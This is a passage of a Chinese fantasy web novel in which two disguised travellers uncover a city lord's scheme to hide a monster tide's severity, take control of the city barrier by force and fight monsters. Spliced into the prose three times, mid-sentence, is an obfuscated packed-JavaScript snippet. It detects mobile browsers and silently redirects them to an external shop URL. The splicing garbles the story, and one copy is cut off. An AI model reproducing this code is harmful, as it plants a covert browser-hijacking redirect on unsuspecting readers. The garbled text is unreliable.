阿纳托利困惑地发问,露比瞥了他一眼,意识到自己队友已经开始靠谱地套起情报了,便心无旁骛地对付最先上的奶油蘑菇汤。 “这个解释起来比较复杂,布鲁城是布伦城区最外围的城市,也是目前唯一遭受魔兽潮的灾区,但是运气比较好,目前并没有受到比较严重的攻击,大部分时候都和今天这种零散的袭击差不多,卫兵也勉强能够应付,因此我们并没有展开封锁结界,物资运输也没有停止。” “不对吧,我们商会收到的求助信息显示此处魔兽潮是五级,按道理这个等级也不用打开结界吧。” “五级?”约翰和欧文几乎是异口同声,满脸惊诧。 “我们这里的魔兽潮等级从一开始领主公示的就是三级啊?” 阿纳托利神色一变,连刚才一心扑在汤上的露比也一下子抬起头来,如临大敌。 “爱玛,我记得魔兽潮一旦达到三级是必须展开隔离结界的,这个标准应该没有变动过吧。” “是的,这是红线规定,魔兽潮三级和三级以上必须上报中央教廷同时展开隔离结界,由负责该区魔兽剿灭的主教指派神官支援,违反此条构成渎职罪。” “我们不太清楚这些……” 约翰抓了抓脑袋。 “为什么他没有开结界,为什么没有申请支援?他在等什么······”阿纳托利低着头思考,忽然他明白了过来,转过头盯着露比。 “他在等我们!” “他在等商会!” 两人异口同声地说出了猜想,然后感到背后一冷。 执政官辖区发生三级以上魔兽潮无论事后救济如何,事后都必须要到圣都进行述职,亦或者说接受调查更加恰当,最差的结果甚至是削爵。 在无比严格的魔兽剿灭政策下,这个执政官,也就是城主,为了保住自己的爵位和权力选择铤而走险,和教廷监视官串通好不开启屏障,教廷的能源中心就无法得知此地的具体情况。 但是三级魔兽潮的强度并没有那么好对付,所以他才向外求助,请求商会运输物资。 按照惯例八音盒商会的商队会配备魔法师魔导师,一支小队往往配备五到十个魔导师两个魔法师,这可是可观的武装力量。 等这些物资和武装力量来到城里打开隔离结界,届时整个布鲁城变成孤城,谁都走不掉,这些魔导师、魔法师也只能硬着头皮迎战了。 运气好的话这件事解决得神不知鬼不觉,运气不好,如果魔兽潮太厉害,也可以借着外援和城内百姓来消耗魔兽,等高峰期过去用更低等级上报。 如果城主是这个打算的话,在这里还不知道要耽搁多久,阿纳托利和露比无法按照原计划回到圣都。 “失陪一下。” 阿纳托利想到此处起身,向欧文和约翰说道, “我和我的同伴现在关于商会的行程有重要的事情要商量,我俩先出去一下。” 欧文点头表示理解,毕竟为了保证货物的安全,商会大部分时候行程是保密的。 露比和他快速走出了餐厅,来到一处无人的角落。 露比冷笑着骂道, “简直疯了,他想骗商会的战斗力来抵抗魔兽潮,最好能够直接摆平,摆不平也可以等高峰过了再用低等级的危机报给教廷,这不是拿商会和平民当耗材吗?” “是的,他应该打的是这种鬼主意。” 阿纳托利的脸色已经完全冷了下去。 “不能让他在现在开结界,不然我们关在结界里没法及时走······如果不能及时回到圣都咱俩都没好果子吃,但那些平民怎么办?这里有魔法师吗?三级魔兽潮他们怎么活?” 露比喃喃自语,一面紧张地来回踱步。阿纳托利没有说话,这也是困扰着他的问题,一个城区的小镇或许只有两到三个魔导师,最坏的可能性就是只有欧文一个魔导师···· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046837|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ··都是普通人,还没有魔导器的小镇在三级魔兽潮面前不堪一击。 “我是这样想的。” 露比轻声说,或许因为对计划内容不太自信,她的声音听着没什么底气。 “我很熟悉南方的审核流程,商队到城区会带着货物去做入库登记,这个登记会汇报给城主,那么这里的城主应该是通过这一点来判断何时打开封锁结界的,只要我们拦住队长,就能拖延一定的时间,而且如果实在来不及,我们可以脱队从这个门折返换路。” “不,看这这个门刚才魔兽潮的架势,这个方向是魔兽爆发的中心,咱们从这里出去会直面上狂暴的魔兽,另外两个门在城区另一头,骑马过去也得五小时左右,来不及,如果领主打开封闭结界我们哪怕脱队也来不及走。” 阿纳托利补充道,露比有些失望,但很快她指出了新的希望。 “我记得来的路上你问过队长,交付地点在城区的另一个门,既然到那个地方大概需要五小时,队长应该还没有签那份通知单,我们只要能拦住队长,就能在城主不知道的情况下悄悄出城。至于这里普通人的安全,我拿着神官令假装是此地的神官去附近的神殿申请援助,只要朝着西南方向再赶大半天的路可以到普兰斯坦城区,那里的格林神官是我的朋友。” “可行,我出城后和你分两路,我会尽快回到圣都,至于你的去向就说咱们路上遇到了魔兽你受伤了,不得已留在半路上的神殿接受治疗。” “但是这个借口经不起验证,一旦我回到圣都必然还要受到严格的检查,到时候就会暴露······” “你可以让这个借口变得经得起验证。” 阿纳托利平静地看着她, “等等。”露比猛然抬头盯着阿纳托利,“你不会是想······” “你应该会和格林神官一起来支援这里,你的实力我已经见识过了,借着这个机会在保证生命安全的前提下挂点彩应该不难吧?” “您还真的是······我可是您的同伴。” “但目前来看暂时没有其他办法。” 露比没有说话,她知道阿纳托利也是实话实说,他们俩没法说半路上遇到的袭击是人为,至少现在不行。 南北联合大局为重,此时如果有针对他的暗杀,无异于南北联合出现裂缝,会直接影响后续的联合剿灭工作,正中袭击者下怀。 只能把遇袭的事情往魔兽潮身上甩,那自己如果带上魔兽所为的伤,这套说辞就有了板上钉钉的铁证。 “计划可行。”露比点头。 “我现在去拦截队长,进城之后快马就已经换下来休息了,他们现在送货的马是普通的马匹,有希望能够追上,我去追。” “静候佳音。” 两人分别,阿纳托利前去拦截队长,而露比回到了饭店去告知欧文、约翰魔兽潮的相关事宜。 就在三人说在要紧处时,阿纳托利推门而入,面色凝重。 “计划有变,封锁结界已经开了。” 看着他灰色的眼睛,露比的心也落到了冰点,二人都明白,已经走不掉了。 18. 魔兽来袭 周围仍然是热热闹闹的,大家对于展开的隔离结界并没有感知。 阿纳托利走到桌前坐下,他和露比都没有说话,两人现在都在快速思考下一步应当如何应对。 魔兽原本没有集中攻击此处的,但一旦展开屏障,感受到魔力波动的魔兽说不定会汇集此处。 不解内情的约翰虽然不理解二人为何对滞留城镇反应如此大,但转念想到雇佣兵的任务往往神秘,也没有多问。 短暂的沉默过后,欧文率先开口了。 “露比女士刚刚和我们解释了这次魔兽潮处理的反常之处,我知道二位应该是有什么事需要赶着离开此地,但现在结界已经开了,我听说这个结界是中央教廷设置的,坚如磐石。二位不如和我们一起等魔兽散去,然后再尽快赶路。” “来不及……不可能来得及,除非三天结束魔兽潮。” 露比用手轻揉鼻筋处,疲惫和无奈已经写在了脸上。 欧文闻言不再言语,显然此时自己帮不上任何忙。 热心肠的约翰似乎还想问什么,但欧文朝他使了个眼色,便不再多嘴。 “我有个主意。” 沉默许久后的阿纳托利开口了。 “拿到结界的控制权,在西门开个小口,我们不等魔兽潮退去,我们直接出去。” “朋友,外面有魔兽潮!三级!三级!你们俩来的时候或许还没有升级,但现在出去和找死有什么区别?” 约翰大惊失色,他以为阿纳托利疯了。 “不,我明白了,这确实是一个两全其美的方案,就是风险有点大。” 露比点头道。 好的,另一个疯子还肯定了这疯狂的想法。 约翰都快碎掉了,你们这个班的工资是很高吗?哪怕有不可抗力可以休假的机会也要冒死爬去上班?他果然对雇佣兵的了解还是太少了。 “尼基塔的意思是城内继续防守,我们主动出城吸引魔兽注意力,延缓他们对于城镇的集中进攻,在击杀了主要的高阶魔兽后,剩下的魔兽不会对城镇的结界有太多威胁,那时我和尼基塔再离开。” 露比将阿纳托利的想法作了更详细的解释,但她对这个计划仍有担忧。 “你要怎么说服城主在防御结界上开放一个口子,这是有风险的行为,魔兽是能感知到防御魔法能量变化的,一旦开一个口子,那个出口将会遭受最猛烈的进攻……” 约翰和欧文还在认真思考露比的话语,完全没注意她手上的动作。 “我觉得最需要担心的问题不是这个,露……爱玛,” 阿纳托利打断了她的话,同时打断的还有她的施法,露比不解地皱眉,但出于对伙伴的信任,她暂时没有再次行动。 “从他们目前的行为来看是很希望利用雇佣兵来协助魔兽潮防御的,现在我们提出主动出去消耗魔兽他们没理由不答应,至于开口的防御问题,我们俩在那个方向击杀了高阶魔兽,他们后续的防御也不会有太大的问题。” 露比低着头若有所思。 “但是如果他们一点风险都不愿意冒,拒绝了你的提案呢。” “我们现在也只能赌一把不是吗?” 阿纳托利无可奈何地叹了口气。 “实在没有办法,就是抢也要抢到装置的控制权。” 露比抓着头发,恶狠狠地说道。 约翰和欧文就在坐在二人旁边听着两人“不可思议”的言论,感到震惊。 单独杀进魔兽潮对于他们来说已经和自杀没什么区别了,不仅想要出城,甚至还想夺取结界控制权。女神在上!那可是城主的权限,夺取会被砍头吧,这“离经叛道”的发言让他们大吃一惊。 “咳咳,那个……” 欧文结结巴巴地介入了二人的对话。 “据我所知,在魔兽潮灾情的情况下,结界的展开调动是执政官或者神官的权能,你们去抢会砍头的吧……” “感谢提醒,两位朋友。但是根据我俩的任务,如果不能按时离开这里,我俩的处境会比砍头更麻烦。” 阿纳托利平静地看着欧文和约翰,刚才还很温和的他,此刻眼神冷得仿佛快要结出冰渣子一般。 “不过你们放心好了,我们不会牵连各位的。” 露比对他俩友善地笑了笑,随后起身戴上了兜帽,盯着阿纳托利,示意他要准备离开了。 阿纳托利会心一笑,然后起身和约翰、欧文握手。 “再会了两位朋友,感谢二位的招待,但是我们现在要离开了。” 欧文和约翰只觉得如梦初醒,二人的节奏太快以至于他俩还没有完全反应过来。 “虽然不知道二位如此拼命的原因,但祝你们顺利。” 欧文点头说道。 “嗨呀,在你们走后我会和欧文继续守好大门的,不用担心!放心地去吧。” 约翰爽朗地笑了起来,露出了那口白牙。 “再会。” 阿纳托利和露比转身离开了兔子餐厅,赶往核心区请求开放一条结界通道。 在他们离开后好一会儿,约翰和欧文此时仍然沉浸在一种不可思议的惊讶中。 “欧文,我还是觉得他俩疯了。那个计划听着太不切实际了,我当时都没反应过来,我们该阻止他们的。” “……” 欧文没有说话,只是看着朝门口靠近的背影。 约翰没有魔力,因而并不清楚眼前两人的实力,但作为魔导师的欧文知道,这两人可都不是小角色,尼基塔在城墙上的一击在魔导师里也是百里挑一,这位蒙着脸女士的实力也很可怕,一直屏蔽着自己的魔力,对魔力的控制力和技巧相比异常高超,虽然不知道魔力的深浅,但仅凭她的技巧已经不是普通魔法师了。 “不,如果是他们俩的话,那个计划说不定能够奏效。” 欧文轻声说。 “而且我们应该感谢他们。” 他看向了站在一旁的约翰。 “以他们的实力,拿到控制权后完全可以快速出城,击杀初阶魔兽对他俩来说不算难事,只要在魔兽聚集前离开就好了,而且他们还要赶时间,但他们的计划却是帮小镇解决了足以造成威胁的高阶魔兽之后再离开……” “那咱们装成什么都不知道,还坐享其成,是不是不太地道啊。” “不,他们很清楚我俩的实力……无论是夺取结界控制权还是击杀高阶魔兽,我们确实能力有限。但我们不会坐享其成。” “那是当然的,他们走后我会把防御城墙守得滴水不漏!我用名誉起誓。” 但他话音刚落,二人就感受到了地面传来了奇怪的震动。 “怎······怎么回事儿?” 约翰扶助了桌子,吃力地站稳。 眼前的欧文眉头紧锁,无比警惕。 “约翰,除了这个蹊跷的震动,你有没有听见很奇怪的声音。” “我什么都没有听见。” “一种很奇怪的波动,像是·····魔兽。” 就在此时,阿纳托利和露比正朝核心区赶路。 在夜色的寂静中,露比的声音显得格外清晰 “阿纳托利,我觉得你太容易信任别人了。” 她说这话时语气非常严肃。 “为什么阻止我给他们使用反噬魔法,一旦他们想说出我们的行踪,法术会立刻发作,这是最保险的办法。” “那我们和教会那群用魔法压迫普通人的神官们有什么区别呢?” “我本来就是教会的神官。” 露比冲他翻了个白眼。 阿纳托利尴尬地咳嗽了两声。 “抱歉,您不在他们范围之内。我觉得我们完全可以和别人正常建立信任的,没必要依靠威胁,今天你也看到了他们是什么样的人,他们坦诚而热情,我们不用这样。” “你才认识这俩人多久,一场战斗一个下午加一顿饭。救命之恩又如何?关于魔兽潮和结界控制,你不觉得你说得有些过多了吗?” 露比转过头盯着他。 “但我信对了。” 阿纳托利冲她笑了。 “而且,你获得我信任的时间也不过一个下午,不是吗?” 阿纳托利别过头,认真地看着露比。 露比没想好如何反驳,阿纳托利似乎也不准备给她这个间隙,继续说道。 “信任建立的基础是坦诚,我们能合作的根本原因是因为你足够坦诚真诚。而约翰和欧文在这一点上和你也是一样的。” 他再次恢复了随和的语气,眼神中的那抹锐利也收了起来。 “你就不怕看错人吗?坦诚也是可以伪装的,而且人也会变,哪怕最初是坦诚相待,但……” “怕呀,我也格外小心,但现在看来我眼光还不错,至于人是会变的这一点,你说的对,但我们不应该否认当下的好意,不可能因为存在一个坏结果的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046838|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能性,就直接否认开始吧。” 他的语气很温和,月光下的青年侧过脸看着她,眼神坚定。 “我认为人与人的缘分是珍贵的,哪怕结果并不理想,我们在其中的付出、记忆、情感也不会毫无意义。” 他说罢抬头,看向了空中的那轮弦月。 “所以不到万不得已我不会用反噬魔法那种威胁别人性命的手段,太把生命当儿戏了。” 露比听了他的话,叹了口气。 阿纳托利从她看向自己的眼神中感受到了悲伤。 露比知道为什么她刚才会觉得阿纳托利的神情很熟悉,她曾在其他人眼里见过。 一个人的破碎、转变或许只需要一瞬间甚至更短。因此听到阿纳托利如此温良的发言,一想到他要去圣都那个魔窟,露比只觉得很着急和恐惧。 她最终还是下定决心说出了自己对这位朋友的忠告。 “你的想法在这里可以,在北方也可以,但是不要带到圣都,在那个地方,我希望你至少能活下去。” 听了她的话,阿纳托利沉默了一会儿才开口。 “但哪怕在圣都,靠威胁和利诱达成的配合真的能长久吗?我并不认同。手段是必要的,但是不分对象的滥用只会破坏更宝贵的关系……” 露比没有回答他,低着头攥紧了缰绳跑去了他前面。 两人结束了这个话题,关于信任,似乎并没有达成共识。 阿纳托利明白露比的想法受其生存环境影响颇深,不然露比不会主动在合作条件中附加一项反噬魔咒。 把生命交付于对方才有信心取得对方的信任,可见她潜意识里并不信任别人,因而对别人才会如此揣测。 如果只是作为一位神官,露比只需要维持现状就好,但她既然还想实现魔导器推广如此宏大的目标,单靠个人是行不通的。 看着眼前的背影,阿纳托利率先开口打破了僵局。 “我有听进去你的忠告,回到圣都我会更加谨慎的。但是,我们现在可不在那鬼地方,露比你要不试着去感受他们的情感,去试着信任这些人,说不定有惊喜的。” “我知道了……这个问题之后再说,现在还是好好想想怎么说服执政官同意在结界上开一个小口。” 她有些不耐烦,但也做出了妥协。阿纳托利从善如流地闭嘴了。 露比此时重申任务的重要性,有转移话题的目的,但客观上来说获得结界的控制权确实迫在眉睫。 两人的马匹跑得飞快,露比却突然勒马停下。 “怎么了?” 阿纳托利有些困惑。 “魔力波动很奇怪,我能感受到屏障的魔力波动……像是还在变化?你别说话,我再感知一下。” 魔法师和地脉的联系强于魔导师,感知一般会更加灵敏,阿纳托利安静地等待露比的结论。 她睁开眼睛。 “外围的屏障在减弱,大量的能量在从城边缘向城中汇集……” 她喃喃自语。 “布鲁城是内外共有两层,外城区的屏障供能在减弱!结界一旦有开口,魔兽能感知到,会集中攻击最脆弱的部分,外城区的人会被魔兽集中攻击!” 露比不敢置信。 “屏障供能是有限的,他们只开了五级的能量,应对不了三级的魔兽潮,而他们维持防御的办法就是缩小屏障的范围,让外城区吸引主要攻击,真是不要脸啊。” 阿纳托利忍不住骂道。 “这是自己偷了别人的盾还要别人当靶子啊。” 露比也不由得感叹。 “计划有变,我去找城主要结界的控制权,重新启动外围屏障,你先回去支援,如果外围结界留一个口,魔力破窗效应很快就会吸引大量魔兽,欧文他们或许应付不了。” “好。” 露比答应后立刻策马返回,而阿纳托利则独自前去布鲁城中心。 阿纳托利运气不错,刚到内城不久,内城外已经快凝聚起了完整的屏障,再晚一点可就被拦在外面了,虽说在屏障上开口子并非不能做到,但是恐怕也要废不少功夫。 城主既然已经做了这种事,想必已经把外城所有人和被骗来的商会法师们当成了耗材,那之前他和露比的计划变得毫无意义,劝城主开屏障保护外城区估计不可能。 如果城主不开,那就别怪他直接抢了,反正商会也没有他的信息,等事件一结束,自己和露比一跑路就成。 19. 攻防战 阿纳托利很顺利地潜入了城主宅邸的中心,他应该早知这次魔兽潮不好应付,在宅邸集结了众多守卫。 阿纳托利相当自然地走到走廊处,拍了拍守卫的肩膀。 “您好,这位兄弟,刚刚才收到城主大人的消息,城主大人现在在哪?我是城主大人雇佣的雇佣兵魔导师。” “城市大人在地下室。” 他给阿纳托利指了指方向,全然没有警惕。 想来外面的卫兵围得和铁桶一样,阿纳托利既然能够在内屋晃悠,盘查什么的应该早过了。 “谢谢。” 阿纳托利给他礼貌地道谢后,朝着地下室走去。 地下室外倒是没有什么守卫,阿纳托利推门而入。 室内站满了守卫,阿纳托利忍不住皱眉,右手已经放到了剑柄上。 “呼,还好,没有魔法师,只有一个魔导师。” 他松了口气。 城主正舒服地瘫在地下室的沙发上,见到有人闯入,坐了起来。 阿纳托利看眼前这种情况,恭敬而庄重地朝这位城主行礼,随后说出了自己的来意。 “我是旅行至此的雇佣兵,刚发现内城打开了魔法屏障。城外的魔兽潮看上去很严重,我愿意为城主分忧,去外城诛杀魔兽,还请城主打开内城的屏障通道,放外城居民进入,也让我有机会出去诛杀魔兽。” “不可能。” 城主轻蔑地瞥了他一眼。 “外面是三级魔兽潮,如果贸然在内城屏障上打开一个口,进来的不仅是平民,还可能是魔兽,我要保证内城绝对安全,至于你……什么雇佣兵?屏障外有的是人为我填魔兽潮这个窟窿,用不着一个外乡人凑热闹,卫兵……” 他还没有说完,意识到无法沟通的阿纳托利已经准备行动了。 他几个箭步就冲到了领主面前。领主没有及时反应,脖颈处就一阵冰凉,剑已经抵了上来,随后才感到因为移动带来的气流。 “你……干什么!你这个雇佣兵!我可是侯爵任命的城主,谋杀贵族可是大罪。” “那也得您能活着去报案。”他将剑抵得更紧了。 卫兵们纷纷拿上武器,那位魔导师也蓄势待发,但城主已经被控制,他们也不敢贸然上前。 “把防御屏障的启动权限给我,否则我现在就割下你的脑袋。” 城主眼珠子一打转,似乎有把握对方不敢杀自己,立刻对着守卫喊道。 “快把这人拿下,他不敢杀我!快动手!卡宁!” 那位名为卡宁的魔导师闻言冲了过来。阿纳托利左手掐着城主,魔力在右手凝聚,灰色的剑身透出银色的微光,接住了来自卡宁的一击后将他甩在了一边。 卡宁后退了两步,抬头警惕地看着阿纳托利。仅是一次交手他已经明白了对方无论是剑术在他之上,魔力阈值更是恐怖……他不是对手。 还有那把剑非常眼熟,他快速地回忆着自己到底在哪里见过。 阿纳托利仍然在预防卡宁的下一击,手里抓着一个活人很影响他的发挥,而且如果之后这群普通人也一起涌上来那就麻烦了,自己没有把握可以在不伤到他们的前提下控制局面。 就在他思索如何破局的时候,那位名为卡宁的魔导师一把将剑丢在了地上。 阿纳托利:? 卡宁:“如您所见,我倒戈了。” 他歪着脑袋对阿纳托利谄媚地笑了笑。 领主看见自己高价钱雇来的魔导师投降得如此丝滑,痛骂道: “卡宁你这个吃里扒外的东西,我支付给你了整整十个金币!你这样背弃誓言会遭到天谴的!” “领主大人似乎理解错了什么,我对财神发誓忠诚,可没有对您发誓效忠过。十个金币还不至于让我献出生命。” 他一边笑着反驳,一边朝阿纳托利靠近。 “别动!”阿纳托利警惕地用剑指着对方。 卡宁笑着将双手举起。 “这位大人不必这么紧张,我没有恶意。” 他用手指捏住了阿纳托利的剑锋,轻轻地将它抵在了自己的脖子上。 “您是有道德的人,正人君子都是这个味道。” 卡宁微微一笑。 “刚才那一击我就知道你有能力把这屋子的人全杀了,但您还在这里谈判,您不想牵连那些听命行事的守卫对吧?但一点血也不想沾可办不好事情。” 他有些无奈地摇了摇头。 “你想要什么?” 阿纳托利盯着这个狡猾的家伙,剑顺势抵得更紧了一些。 “和聪明人说话就是轻松。尊敬的大人,我可以帮您抓住这位城主,之后布鲁城的事情也可对您马首是瞻,但是事后您可要保我平安。” “怎么证明你不是假意投降?” 对方似乎很惊喜,笑着瞥了阿纳托利一眼,举着双手后退一步,然后走到了领主的面前,双手突然放下,掏出了藏着的匕首,手起刀落。 “啊啊啊啊啊······” 领主不敢置信地捂住了自己的半边脸。 卡宁笑盈盈地蹲下身,捡起了地上的耳朵,在阿纳托利的眼前晃了晃。 “我的诚意。” 他提溜着耳朵,盯着阿纳托利的眼睛,不知道这位看上去有些传统的骑士会露出怎样的眼神。 他不确定这样表示忠心的行为是否会招致君子的反感,直到看见阿纳托利那双灰色眼睛里的快意,和嘴角并不明显的笑,他才松了口气。 “他并不古板呢。”卡宁心想。 阿纳托利将只剩一只耳朵的领主一脚踢给了卡宁。 “成交。” 他眼神冰冷。 阿纳托利在这边对峙时,露比早就回到了外城。 她骑马飞驰,隔着内外城区的交界通道,对面魔兽的腥气已经扑面而来,她暗道不妙。 穿过通道,街区上堆积了魔物的毒液,其中已经包裹了好几具尸体。一只蜥蜴形的魔兽正趴在房顶朝着屋子吐了两口毒液,攻击未果后他开始挥舞自己的匕首状尾巴,企图用坚硬的尾尖和爪子掀开屋顶,房子在它的动作下岌岌可危,随着它的攻击,屋子里的人发出恐惧的叫喊,确认有食物的存在,这只魔物更加兴奋。 露比在马上瞄准了这个魔物后,直接就是一击。 “千穿百刺。” 她低吟着咒语,魔物周围的土地仿佛有了生命,刹那间弹射出三根土刺,将这只魔物穿透。 “只能使用基础元素魔法······需要节约魔力,三级魔兽潮一般会有两只高阶魔兽,得留着魔力先解决那两个东西。” 但计划赶不上变化,她朝城门赶的一路上出现了四只低阶魔物和一只中阶魔物,她只得将自己视线以内的东西都解决掉。 她就快冲到城门前的时候,马却突然失去平衡。 露比反应迅速,袭击来得很快,已经来不及展开完整范围的的防御屏障了,这匹马保不住。 她只得展开防御屏障将自己包裹住,脚上附加了轻盈魔法,一脚从马上跃到了到几米远的地上。 她在跳跃的过程中不忘回头观察,马的后蹄被地下伸出的条状物卷住,已经失去了平衡。随后条状物松开,魔兽从地下探出头来,那是一只穿山甲魔兽,它张开嘴巴一口咬住了马的脖子,露比听到了令人悚然的骨裂声。 “怎么这里就有一只高阶魔物啊!” 露比抓狂地抱怨道。 魔物没有立刻进食,魔力的感知让它很快明白真正的威胁来自于旁边的露比。 它的眼珠里闪烁着贪婪的目光,那是打量食物的眼神。 “和我似乎还是一个属性的,土元素加防御。”露比看着魔兽坚硬的背甲的苦笑。 “元素魔法对你应该不太起效了,只能开始用中阶魔法了。” 她手中开始凝聚魔力。魔兽也看出了她攻击的打算,不准备给她留施法时间,扑了过来,同时张开了嘴巴,它的舌头仍然保留了穿山甲的灵活,嗖地朝露比卷来。 但魔力凝聚成的土块锋刃从上空压了下来,宛如一柄岩石制作的利斧,打断了它的攻击,察觉到危险的魔兽收起了自己的舌头,但仍没有完全躲开,舌头还是被斩断了一半,掉落在地上冒着血。 “啾啾嘶嘶啾啾·····”穿山甲兽发出短促的声音。声音很微小,但他们本就不是会嚎叫的种族。 露比知道,这是被激怒的信号。 三柄圈形土属性魔刃如同悬浮着的斧头一般,锋刃朝外在露比身边旋转打圈,既是完美的防御,也随时可以利落地劈下,她警惕地盯着眼前的魔兽。 果然,它一跃而起,露比抬手一挥,锋刃朝着空中的魔兽劈了过去。 这东西相当灵敏,在空中还能蜷缩起来,魔刃击打在它身上,鳞片飞溅,留下一道浅浅的伤痕。 “可恶,伤不到要害啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046839|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >露比操纵飞刃调转方向,在这玩意儿落地前狠狠撞击,魔兽被拍到了一边,露比总算和它拉开了距离。 “啾啾嘶嘶啾啾……” 落地的家伙顺势钻入地下,露比心道不妙,当前用浮空魔法是最安全的,但太消耗魔力了。这东西寻常攻击只伤得到皮毛,何况一会儿还有苦战,不能用保险的打法。 她脑中灵光一闪,刚刚盘旋在周围的魔刃化作屏障,将自己包裹其中,随后她在脚下开了个空缺。 等待着猎物的上钩。 这东西很灵活,很快察觉到了防御的薄弱处,立刻攻来,它破土而出的动静极小,大嘴出现在露比脚下只有一瞬间,露比被冲击力掀起好几米,在空中立刻完善了脚下的防御,那魔兽果然咬了上来。 那东西将屏障含在口中,森森白牙和屏障相撞发出咯嘣的声音,它想将屏障与里面的露比一起嚼碎。 “之前的攻击魔法不痛不痒,那就只能集中一点了。” 她喃喃自语。 下方屏障瞬间消散。 魔兽何其敏感,舌头立刻弹入屏障,飞向露比。 “破!” 魔力在露比的指尖凝聚,不断压缩,宛如一根细长的箭矢,从屏障的空缺处冲出。 撞上迎面而来的舌头,这次的魔刃更加锋利,舌头被利落地劈开,魔刃穿过魔兽的口腔,直接瞬间贯穿它的身体。 露比看准时间扩展屏障,从怪物的口中滚落。 她平稳落地后,那只东西发出了一阵低沉的嘶鸣,怦然倒地,发出微弱的喘息。 露比凝聚魔力,形成锥子,从高处狠狠砸下,将魔兽钉在了地上,紫黑色的血流了出来,它不再动弹了。 “呼……” 露比擦了擦额头的汗,继续朝外城屏障处跑去。 约翰正和欧文配合着对付眼前的中阶魔兽,又是之前那种长着尾锤的蜥蜴,知道了它的弱点,这次他们对付起来倒是没这么被动了。 但由于城门上的魔导器能源不足,欧文的魔力有限,他们打得仍然相当吃力。 “破不开啊!这家伙的尾锤太硬了!” 欧文抱怨到。 “再加把劲,我能拖住它,能拖住一只算一只,尽可能让它们别跑到城里。 约翰提着剑在这魔兽面前跳来跳去,灵活地躲避来自魔兽的攻击。 欧文心急如焚,在魔兽身后,他努力地突破防御,凝结魔力刺入要害。 他知道约翰没有魔力,无法凝聚屏障,也无法进行任何有效攻击,一旦被击中就完了。 约翰在用性命冒险给他争取时间,但他却破不了这只魔兽要害的防御。 “可恶……” 就在他焦虑的时候,从主干道上跑来的露比解了燃眉之急。 “千穿百刺!” 土刺从地表冲出,直插魔兽,将它整个架了起来。但被扎成刺猬的魔兽还没断气。 “弱点是尾锤!” 欧文趁魔兽受伤之际,终于撕开了它的防御,狠狠地刺入了要害。刚才还在挣扎的魔兽咽气了。 “你们这边情况怎么样?” 露比焦急地小跑过来,她停下后气喘吁吁,身上也到处是灰痕与泥土,想来刚才来的路上也经历了一番苦战。 听了露比的问题,欧文和约翰面色沉重。 “很糟糕……相当糟糕。” 约翰摇了摇头。 “因为屏障打开,魔兽被吸引汇聚了过来,但之后屏障不知道为什么突然停止了供能,聚集起来的魔兽全涌了进来,我们根本拦不住!应该有不少钻到镇子里了,但我们这边抽不开身。” “在来的路上,我清理了一部分魔兽,现在由我全面接手外部防御,可以缓解人手问题,尽量抽人去保护那些住在外城区的居民,那里还有一些中低阶魔兽。” 露比忧虑地看向主干道连接的外城区。 “我去居民区,低阶魔兽我可以应付,中阶魔兽也可以拖住一会儿。” 欧文说罢就朝主干道走。 “欧文!我们人手不够,魔兽太多了!绝对不可能完全清剿的,外城区没有安全的地方,你或许需要引导居民朝内城撤,那里有屏障。” 露比冲他喊道,虽然领主为了自己的安全转移了屏障能量,但是放人进去并不会影响他们的安全,想来应该没有问题。 “好。” 欧文说罢快速向外城的居住区跑去。 20. 艰难求生 欧文在向内城跑去的时候一直在祈祷,希望趁乱涌入城里的魔兽不多,希望大家都能待在家里,希望来的都是初阶魔兽,它们的爪子尚且没有锋利到能撕烂房屋…… 但他的希望完全落空了。 刚跑进居民区的大门就闻到了浓重的腥气,魔兽的气息浓得让人作呕,地面上有成堆的粘液,包裹着数不清的尸体,欧文不敢细看。放眼望去居民区部分房屋屋顶都相当残破,宛如被撬开的罐头。 可想而知,魔兽们是怎么围猎蜷缩在房屋里的居民的。 欧文遍体生寒。 “艾玛不是清剿了一部分吗?到底……到底有多少魔兽……到底还有没有活人……” 他觉得脑袋有些发白,眼前的景象都有些恍惚。 “冷静……被撕开的房顶大多都是旧的木屋,砖屋子大部分还是完整的,这也说明冲进来的魔兽是初阶魔兽,它们没法进入石头屋子的室内,还有活人,只要他们不出门就好,外面我能应付!” 他在心里给自己打气,随后立刻开始寻找外面无法回家的普通人,沿路击杀着初阶魔兽。 他本就中阶魔导师,攻击力有限,再加上之前在城门处的魔力消耗了了一些,现在哪怕是击杀初阶魔兽也只能选择用最节约魔力的打法,费一番功夫。 再不知道多少次射中魔兽的心脏后,他因魔力告罄,眼前发黑而蹲下。 但似乎他没有休息的机会。 “砰”的一声巨响直接让他瞬间清醒。 欧文顺着声音的方向看去。一只较小的龙形魔兽一下子抓破了房子的屋顶,随后对着没了顶的房屋喷出了魔焰。 